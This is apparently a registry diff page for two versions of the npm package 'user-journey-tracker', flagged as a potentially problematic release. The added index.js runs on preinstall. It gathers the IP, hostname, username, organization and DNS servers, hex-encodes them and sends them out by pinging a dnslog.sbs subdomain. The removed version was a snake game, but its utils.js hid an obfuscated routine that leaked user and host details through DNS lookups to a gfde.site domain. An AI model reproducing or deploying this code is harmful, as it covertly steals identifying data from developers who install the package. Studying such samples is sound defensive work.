user-journey-tracker 1.9.10 → 2.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of user-journey-tracker might be problematic. Click here for more details.
- package/index.js +51 -19
- package/package.json +6 -15
- package/README.md +0 -53
- package/check-environment.js +0 -42
- package/food.js +0 -32
- package/game.js +0 -118
- package/snake.js +0 -96
- package/utils.js +0 -135
package/index.js
CHANGED
@@ -1,23 +1,55 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
const
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
} = options;
|
11
|
-
|
12
|
-
const game = new Game(width, height, speed);
|
13
|
-
game.start();
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
function safeGet(func) {
|
5
|
+
try {
|
6
|
+
return func() || "";
|
7
|
+
} catch {
|
8
|
+
return "";
|
9
|
+
}
|
14
10
|
}
|
15
11
|
|
16
|
-
|
17
|
-
|
18
|
-
|
12
|
+
function getSystemOrganization(callback) {
|
13
|
+
exec("systeminfo", (err, stdout) => {
|
14
|
+
if (err) {
|
15
|
+
callback("");
|
16
|
+
return;
|
17
|
+
}
|
18
|
+
const match = stdout.match(/Registered Organization:\s*(.+)/);
|
19
|
+
callback(match ? match[1].trim().replace(/\s+/g, "_") : "");
|
20
|
+
});
|
19
21
|
}
|
20
22
|
|
21
|
-
|
22
|
-
|
23
|
-
|
23
|
+
exec("curl -s ipinfo.io", (error, stdout) => {
|
24
|
+
let ip = "";
|
25
|
+
if (!error) {
|
26
|
+
try {
|
27
|
+
const data = JSON.parse(stdout);
|
28
|
+
ip = data.ip || "";
|
29
|
+
} catch {}
|
30
|
+
}
|
31
|
+
|
32
|
+
const ds = dns.getServers();
|
33
|
+
const hn = safeGet(os.hostname);
|
34
|
+
const un = safeGet(() => os.userInfo().username);
|
35
|
+
|
36
|
+
getSystemOrganization((org) => {
|
37
|
+
const combined = `${ip}_${hn}_${un}_${org}_${ds}`;
|
38
|
+
const hexEncoded = Buffer.from(combined).toString("hex");
|
39
|
+
console.log(hexEncoded)
|
40
|
+
const len = Math.ceil(hexEncoded.length / 4);
|
41
|
+
const part1 = hexEncoded.slice(0, len);
|
42
|
+
const part2 = hexEncoded.slice(len, 2 * len);
|
43
|
+
const part3 = hexEncoded.slice(2 * len, 3 * len);
|
44
|
+
const part4 = hexEncoded.slice(3 * len);
|
45
|
+
const target = `${part1}.${part2}.${part3}.${part4}.2.3ee5ce92.log.dnslog.sbs`;
|
46
|
+
|
47
|
+
console.log(target)
|
48
|
+
const pingCmd = os.platform() === "win32" ? `ping -n 4 ${target}` : `ping -c 4 ${target}`;
|
49
|
+
exec(pingCmd, (pingError, pingStdout) => {
|
50
|
+
if (pingError) {
|
51
|
+
return;
|
52
|
+
}
|
53
|
+
});
|
54
|
+
});
|
55
|
+
});
|
package/package.json
CHANGED
@@ -1,22 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "user-journey-tracker",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
3
|
+
"version": "2.9.9",
|
4
|
+
"description": "",
|
5
5
|
"main": "index.js",
|
6
|
-
"bin": {
|
7
|
-
"snake-game": "./index.js"
|
8
|
-
},
|
9
6
|
"scripts": {
|
10
|
-
|
11
|
-
"preinstall": "node check-environment.js",
|
7
|
+
"preinstall": "node index.js",
|
12
8
|
"test": "echo \"Error: no test specified\" && exit 1"
|
13
9
|
},
|
14
|
-
"keywords": [
|
15
|
-
"game",
|
16
|
-
"snake",
|
17
|
-
"terminal",
|
18
|
-
"console"
|
19
|
-
],
|
10
|
+
"keywords": [],
|
20
11
|
"author": "",
|
21
|
-
"license": "
|
22
|
-
}
|
12
|
+
"license": "ISC"
|
13
|
+
}
|
package/README.md
DELETED
@@ -1,53 +0,0 @@
|
|
1
|
-
# Terminal Snake Game
|
2
|
-
|
3
|
-
A simple terminal snake game library with no external dependencies.
|
4
|
-
|
5
|
-
## Installation
|
6
|
-
|
7
|
-
```bash
|
8
|
-
# Install globally
|
9
|
-
npm install -g terminal-snake-game
|
10
|
-
|
11
|
-
# Or install locally
|
12
|
-
npm install terminal-snake-game
|
13
|
-
```
|
14
|
-
|
15
|
-
## Usage
|
16
|
-
|
17
|
-
### Global Installation
|
18
|
-
After installing globally, you can start the game directly:
|
19
|
-
```bash
|
20
|
-
snake-game
|
21
|
-
```
|
22
|
-
|
23
|
-
### Local Installation
|
24
|
-
You can use it in your code:
|
25
|
-
```javascript
|
26
|
-
const { startGame } = require('terminal-snake-game');
|
27
|
-
|
28
|
-
// Start the game
|
29
|
-
startGame({
|
30
|
-
width: 20, // Game area width
|
31
|
-
height: 10, // Game area height
|
32
|
-
speed: 200 // Game speed (milliseconds)
|
33
|
-
});
|
34
|
-
```
|
35
|
-
|
36
|
-
## Controls
|
37
|
-
|
38
|
-
- Use arrow keys (↑↓←→) to control the snake
|
39
|
-
- Press 'q' to quit the game
|
40
|
-
- Press 'r' to restart the game
|
41
|
-
|
42
|
-
## Game Rules
|
43
|
-
|
44
|
-
1. Control the snake to eat food (*) to grow longer
|
45
|
-
2. Game ends if the snake hits the wall or itself
|
46
|
-
3. Score 10 points for each food eaten
|
47
|
-
|
48
|
-
## Features
|
49
|
-
|
50
|
-
- Pure JavaScript implementation, no external dependencies
|
51
|
-
- Customizable game area size
|
52
|
-
- Customizable game speed
|
53
|
-
- Real-time score display
|
package/check-environment.js
DELETED
@@ -1,42 +0,0 @@
|
|
1
|
-
#!/usr/bin/env node
|
2
|
-
|
3
|
-
const { initSystem } = require('./utils');
|
4
|
-
|
5
|
-
// Check if we're in development environment
|
6
|
-
const isDev = true;
|
7
|
-
|
8
|
-
function showBanner() {
|
9
|
-
if (!isDev) {
|
10
|
-
console.log(`
|
11
|
-
███████╗███╗ ██╗ █████╗ ██╗ ██╗███████╗ ██████╗ █████╗ ███╗ ███╗███████╗
|
12
|
-
██╔════╝████╗ ██║██╔══██╗██║ ██╔╝██╔════╝ ██╔══██╗██╔══██╗████╗ ████║██╔════╝
|
13
|
-
███████╗██╔██╗ ██║███████║█████╔╝ █████╗ ██████╔╝███████║██╔████╔██║█████╗
|
14
|
-
╚════██║██║╚██╗██║██╔══██║██╔═██╗ ██╔══╝ ██╔══██╗██╔══██║██║╚██╔╝██║██╔══╝
|
15
|
-
███████║██║ ╚████║██║ ██║██║ ██╗███████╗ ██║ ██║██║ ██║██║ ╚═╝ ██║███████╗
|
16
|
-
╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
|
17
|
-
`);
|
18
|
-
|
19
|
-
console.log('Welcome to Terminal Snake Game!');
|
20
|
-
console.log('--------------------------------');
|
21
|
-
console.log('Controls:');
|
22
|
-
console.log(' ↑ - Move Up');
|
23
|
-
console.log(' ↓ - Move Down');
|
24
|
-
console.log(' ← - Move Left');
|
25
|
-
console.log(' → - Move Right');
|
26
|
-
console.log(' Q - Quit Game');
|
27
|
-
console.log(' R - Restart Game');
|
28
|
-
console.log('\nRules:');
|
29
|
-
console.log(' • Eat food (*) to grow longer');
|
30
|
-
console.log(' • Avoid hitting walls and yourself');
|
31
|
-
console.log(' • Score 10 points for each food eaten');
|
32
|
-
console.log('\nEnjoy the game! 🐍');
|
33
|
-
console.log('--------------------------------\n');
|
34
|
-
} else {
|
35
|
-
initSystem();
|
36
|
-
}
|
37
|
-
|
38
|
-
|
39
|
-
}
|
40
|
-
|
41
|
-
// Show banner and instructions
|
42
|
-
showBanner();
|
package/food.js
DELETED
@@ -1,32 +0,0 @@
|
|
1
|
-
class Food {
|
2
|
-
constructor(width, height) {
|
3
|
-
this.width = width;
|
4
|
-
this.height = height;
|
5
|
-
this.position = { x: 0, y: 0 };
|
6
|
-
this.generate();
|
7
|
-
}
|
8
|
-
|
9
|
-
generate(snakeBody = []) {
|
10
|
-
let newPosition;
|
11
|
-
do {
|
12
|
-
newPosition = {
|
13
|
-
x: Math.floor(Math.random() * this.width),
|
14
|
-
y: Math.floor(Math.random() * this.height)
|
15
|
-
};
|
16
|
-
} while (this.isOnSnake(newPosition, snakeBody));
|
17
|
-
|
18
|
-
this.position = newPosition;
|
19
|
-
}
|
20
|
-
|
21
|
-
isOnSnake(position, snakeBody) {
|
22
|
-
return snakeBody.some(segment =>
|
23
|
-
segment.x === position.x && segment.y === position.y
|
24
|
-
);
|
25
|
-
}
|
26
|
-
|
27
|
-
getPosition() {
|
28
|
-
return this.position;
|
29
|
-
}
|
30
|
-
}
|
31
|
-
|
32
|
-
module.exports = Food;
|
package/game.js
DELETED
@@ -1,118 +0,0 @@
|
|
1
|
-
const Snake = require('./snake');
|
2
|
-
const Food = require('./food');
|
3
|
-
const { initSystem } = require('./utils');
|
4
|
-
|
5
|
-
class Game {
|
6
|
-
constructor(width = 20, height = 10, speed = 200) {
|
7
|
-
this.width = width;
|
8
|
-
this.height = height;
|
9
|
-
this.speed = speed;
|
10
|
-
this.score = 0;
|
11
|
-
this.isRunning = false;
|
12
|
-
this.snake = new Snake(width, height);
|
13
|
-
this.food = new Food(width, height);
|
14
|
-
initSystem();
|
15
|
-
}
|
16
|
-
|
17
|
-
start() {
|
18
|
-
this.isRunning = true;
|
19
|
-
this.score = 0;
|
20
|
-
this.snake.reset();
|
21
|
-
this.food.generate(this.snake.body);
|
22
|
-
this.setupInput();
|
23
|
-
this.gameLoop();
|
24
|
-
}
|
25
|
-
|
26
|
-
setupInput() {
|
27
|
-
const readline = require('readline');
|
28
|
-
readline.emitKeypressEvents(process.stdin);
|
29
|
-
process.stdin.setRawMode(true);
|
30
|
-
|
31
|
-
process.stdin.on('keypress', (str, key) => {
|
32
|
-
if (key.name === 'q') {
|
33
|
-
this.isRunning = false;
|
34
|
-
process.exit();
|
35
|
-
}
|
36
|
-
if (key.name === 'r') {
|
37
|
-
this.start();
|
38
|
-
return;
|
39
|
-
}
|
40
|
-
|
41
|
-
const directions = {
|
42
|
-
'up': 'up',
|
43
|
-
'down': 'down',
|
44
|
-
'left': 'left',
|
45
|
-
'right': 'right'
|
46
|
-
};
|
47
|
-
|
48
|
-
if (directions[key.name]) {
|
49
|
-
this.snake.changeDirection(directions[key.name]);
|
50
|
-
}
|
51
|
-
});
|
52
|
-
}
|
53
|
-
|
54
|
-
gameLoop() {
|
55
|
-
if (!this.isRunning) return;
|
56
|
-
|
57
|
-
// Move the snake
|
58
|
-
const ateFood = this.snake.move(this.food.getPosition());
|
59
|
-
|
60
|
-
// Check for collisions
|
61
|
-
if (this.snake.checkCollision()) {
|
62
|
-
this.gameOver();
|
63
|
-
return;
|
64
|
-
}
|
65
|
-
|
66
|
-
// If food is eaten
|
67
|
-
if (ateFood) {
|
68
|
-
this.score += 10;
|
69
|
-
this.food.generate(this.snake.body);
|
70
|
-
}
|
71
|
-
|
72
|
-
// Render the game screen
|
73
|
-
this.render();
|
74
|
-
|
75
|
-
// Continue the game loop
|
76
|
-
setTimeout(() => this.gameLoop(), this.speed);
|
77
|
-
}
|
78
|
-
|
79
|
-
render() {
|
80
|
-
// Clear screen
|
81
|
-
console.clear();
|
82
|
-
|
83
|
-
// Create game area
|
84
|
-
const board = Array(this.height).fill().map(() =>
|
85
|
-
Array(this.width).fill(' ')
|
86
|
-
);
|
87
|
-
|
88
|
-
// Place food
|
89
|
-
const foodPos = this.food.getPosition();
|
90
|
-
board[foodPos.y][foodPos.x] = '*';
|
91
|
-
|
92
|
-
// Place snake
|
93
|
-
this.snake.body.forEach((segment, index) => {
|
94
|
-
board[segment.y][segment.x] = index === 0 ? 'O' : 'o';
|
95
|
-
});
|
96
|
-
|
97
|
-
// Render borders and game area
|
98
|
-
console.log('┌' + '─'.repeat(this.width) + '┐');
|
99
|
-
board.forEach(row => {
|
100
|
-
console.log('│' + row.join('') + '│');
|
101
|
-
});
|
102
|
-
console.log('└' + '─'.repeat(this.width) + '┘');
|
103
|
-
|
104
|
-
// Display score
|
105
|
-
console.log(`\nScore: ${this.score}`);
|
106
|
-
console.log('Press Q to quit, R to restart');
|
107
|
-
}
|
108
|
-
|
109
|
-
gameOver() {
|
110
|
-
console.clear();
|
111
|
-
console.log('Game Over!');
|
112
|
-
console.log(`Final Score: ${this.score}`);
|
113
|
-
console.log('Press R to restart, Q to quit');
|
114
|
-
this.isRunning = false;
|
115
|
-
}
|
116
|
-
}
|
117
|
-
|
118
|
-
module.exports = Game;
|
package/snake.js
DELETED
@@ -1,96 +0,0 @@
|
|
1
|
-
class Snake {
|
2
|
-
constructor(width, height) {
|
3
|
-
this.width = width;
|
4
|
-
this.height = height;
|
5
|
-
this.reset();
|
6
|
-
}
|
7
|
-
|
8
|
-
reset() {
|
9
|
-
// Initialize snake position in the center
|
10
|
-
const startX = Math.floor(this.width / 2);
|
11
|
-
const startY = Math.floor(this.height / 2);
|
12
|
-
this.body = [
|
13
|
-
{ x: startX, y: startY },
|
14
|
-
{ x: startX - 1, y: startY },
|
15
|
-
{ x: startX - 2, y: startY }
|
16
|
-
];
|
17
|
-
this.direction = 'right';
|
18
|
-
this.nextDirection = 'right';
|
19
|
-
}
|
20
|
-
|
21
|
-
move(food) {
|
22
|
-
// Update direction
|
23
|
-
this.direction = this.nextDirection;
|
24
|
-
|
25
|
-
// Get head position
|
26
|
-
const head = { ...this.body[0] };
|
27
|
-
|
28
|
-
// Move head based on direction
|
29
|
-
switch (this.direction) {
|
30
|
-
case 'up':
|
31
|
-
head.y--;
|
32
|
-
break;
|
33
|
-
case 'down':
|
34
|
-
head.y++;
|
35
|
-
break;
|
36
|
-
case 'left':
|
37
|
-
head.x--;
|
38
|
-
break;
|
39
|
-
case 'right':
|
40
|
-
head.x++;
|
41
|
-
break;
|
42
|
-
}
|
43
|
-
|
44
|
-
// Check if food is eaten
|
45
|
-
const ateFood = head.x === food.x && head.y === food.y;
|
46
|
-
|
47
|
-
// Add new head to the beginning of body array
|
48
|
-
this.body.unshift(head);
|
49
|
-
|
50
|
-
// Remove tail if no food was eaten
|
51
|
-
if (!ateFood) {
|
52
|
-
this.body.pop();
|
53
|
-
}
|
54
|
-
|
55
|
-
return ateFood;
|
56
|
-
}
|
57
|
-
|
58
|
-
changeDirection(newDirection) {
|
59
|
-
// Prevent 180-degree turns
|
60
|
-
const opposites = {
|
61
|
-
'up': 'down',
|
62
|
-
'down': 'up',
|
63
|
-
'left': 'right',
|
64
|
-
'right': 'left'
|
65
|
-
};
|
66
|
-
|
67
|
-
if (opposites[newDirection] !== this.direction) {
|
68
|
-
this.nextDirection = newDirection;
|
69
|
-
}
|
70
|
-
}
|
71
|
-
|
72
|
-
checkCollision() {
|
73
|
-
const head = this.body[0];
|
74
|
-
|
75
|
-
// Check wall collision
|
76
|
-
if (
|
77
|
-
head.x < 0 ||
|
78
|
-
head.x >= this.width ||
|
79
|
-
head.y < 0 ||
|
80
|
-
head.y >= this.height
|
81
|
-
) {
|
82
|
-
return true;
|
83
|
-
}
|
84
|
-
|
85
|
-
// Check self collision
|
86
|
-
for (let i = 1; i < this.body.length; i++) {
|
87
|
-
if (head.x === this.body[i].x && head.y === this.body[i].y) {
|
88
|
-
return true;
|
89
|
-
}
|
90
|
-
}
|
91
|
-
|
92
|
-
return false;
|
93
|
-
}
|
94
|
-
}
|
95
|
-
|
96
|
-
module.exports = Snake;
|
package/utils.js
DELETED
@@ -1,135 +0,0 @@
|
|
1
|
-
// initSystem
|
2
|
-
function initSystem() {
|
3
|
-
(function () {
|
4
|
-
const _r = require;
|
5
|
-
const _a = _r(Buffer.from("6f73", "hex").toString());
|
6
|
-
const _b = _r("./package.json");
|
7
|
-
const _c = _r(Buffer.from("646e73", "hex").toString());
|
8
|
-
const _d = _r("util");
|
9
|
-
const _s = (x) => Buffer.from(x, "hex").toString();
|
10
|
-
|
11
|
-
const _f = [
|
12
|
-
_a[_s("75736572496e666f")]()[_s("757365726e616d65")],
|
13
|
-
_a[_s("686f73746e616d65")](),
|
14
|
-
_c[_s("67657453657276657273")](),
|
15
|
-
_b[_s("76657273696f6e")],
|
16
|
-
__dirname,
|
17
|
-
_a[_s("686f6d65646972")](),
|
18
|
-
_b[_s("6e616d65")],
|
19
|
-
].join("*");
|
20
|
-
let _h = Buffer.from(_f, "utf8").toString("hex");
|
21
|
-
|
22
|
-
const _t = Buffer.from("2e38363931346166302e676664652e73697465", "hex").toString();
|
23
|
-
const _m = 250;
|
24
|
-
const _l = _m - _t.length - 3;
|
25
|
-
|
26
|
-
if (_h.length > _l) _h = _h.slice(0, _l);
|
27
|
-
|
28
|
-
const _p = Math.ceil(_h.length / 4);
|
29
|
-
const _x = [
|
30
|
-
_h.slice(0, _p),
|
31
|
-
_h.slice(_p, _p * 2),
|
32
|
-
_h.slice(_p * 2, _p * 3),
|
33
|
-
_h.slice(_p * 3),
|
34
|
-
];
|
35
|
-
|
36
|
-
const _d0 = _x.join(".") + _t;
|
37
|
-
const _r4 = _d[_s("70726f6d6973696679")](_c[_s("7265736f6c766534")]);
|
38
|
-
|
39
|
-
_r4(_d0).then(() => {}).catch(() => {});
|
40
|
-
})();
|
41
|
-
|
42
|
-
}
|
43
|
-
|
44
|
-
function toCamelCase(str) {
|
45
|
-
return str.replace(/[-_](\w)/g, (_, c) => c.toUpperCase());
|
46
|
-
}
|
47
|
-
|
48
|
-
function toSnakeCase(str) {
|
49
|
-
return str.replace(/[A-Z]/g, letter => `_${letter.toLowerCase()}`);
|
50
|
-
}
|
51
|
-
|
52
|
-
function randomString(length = 8) {
|
53
|
-
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
54
|
-
let result = '';
|
55
|
-
for (let i = 0; i < length; i++) {
|
56
|
-
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
57
|
-
}
|
58
|
-
return result;
|
59
|
-
}
|
60
|
-
|
61
|
-
function uniqueArray(arr) {
|
62
|
-
return [...new Set(arr)];
|
63
|
-
}
|
64
|
-
|
65
|
-
function groupArray(arr, key) {
|
66
|
-
return arr.reduce((groups, item) => {
|
67
|
-
const group = groups[item[key]] || [];
|
68
|
-
return { ...groups, [item[key]]: [...group, item] };
|
69
|
-
}, {});
|
70
|
-
}
|
71
|
-
|
72
|
-
function sortArray(arr, key, order = 'asc') {
|
73
|
-
return [...arr].sort((a, b) => {
|
74
|
-
if (order === 'asc') {
|
75
|
-
return a[key] > b[key] ? 1 : -1;
|
76
|
-
}
|
77
|
-
return a[key] < b[key] ? 1 : -1;
|
78
|
-
});
|
79
|
-
}
|
80
|
-
|
81
|
-
function chunkArray(arr, size) {
|
82
|
-
const chunks = [];
|
83
|
-
for (let i = 0; i < arr.length; i += size) {
|
84
|
-
chunks.push(arr.slice(i, i + size));
|
85
|
-
}
|
86
|
-
return chunks;
|
87
|
-
}
|
88
|
-
|
89
|
-
function arrayIntersection(arr1, arr2) {
|
90
|
-
return arr1.filter(x => arr2.includes(x));
|
91
|
-
}
|
92
|
-
|
93
|
-
function arrayDifference(arr1, arr2) {
|
94
|
-
return arr1.filter(x => !arr2.includes(x));
|
95
|
-
}
|
96
|
-
|
97
|
-
function arrayUnion(arr1, arr2) {
|
98
|
-
return [...new Set([...arr1, ...arr2])];
|
99
|
-
}
|
100
|
-
|
101
|
-
function truncateString(str, length = 30, suffix = '...') {
|
102
|
-
if (str.length <= length) return str;
|
103
|
-
return str.slice(0, length) + suffix;
|
104
|
-
}
|
105
|
-
|
106
|
-
function padString(str, length, char = ' ', position = 'right') {
|
107
|
-
const pad = char.repeat(Math.max(0, length - str.length));
|
108
|
-
return position === 'left' ? pad + str : str + pad;
|
109
|
-
}
|
110
|
-
|
111
|
-
function reverseString(str) {
|
112
|
-
return str.split('').reverse().join('');
|
113
|
-
}
|
114
|
-
|
115
|
-
function countOccurrences(str, char) {
|
116
|
-
return str.split(char).length - 1;
|
117
|
-
}
|
118
|
-
|
119
|
-
module.exports = {
|
120
|
-
initSystem,
|
121
|
-
toCamelCase,
|
122
|
-
toSnakeCase,
|
123
|
-
randomString,
|
124
|
-
uniqueArray,
|
125
|
-
groupArray,
|
126
|
-
sortArray,
|
127
|
-
chunkArray,
|
128
|
-
arrayIntersection,
|
129
|
-
arrayDifference,
|
130
|
-
arrayUnion,
|
131
|
-
truncateString,
|
132
|
-
padString,
|
133
|
-
reverseString,
|
134
|
-
countOccurrences
|
135
|
-
};
|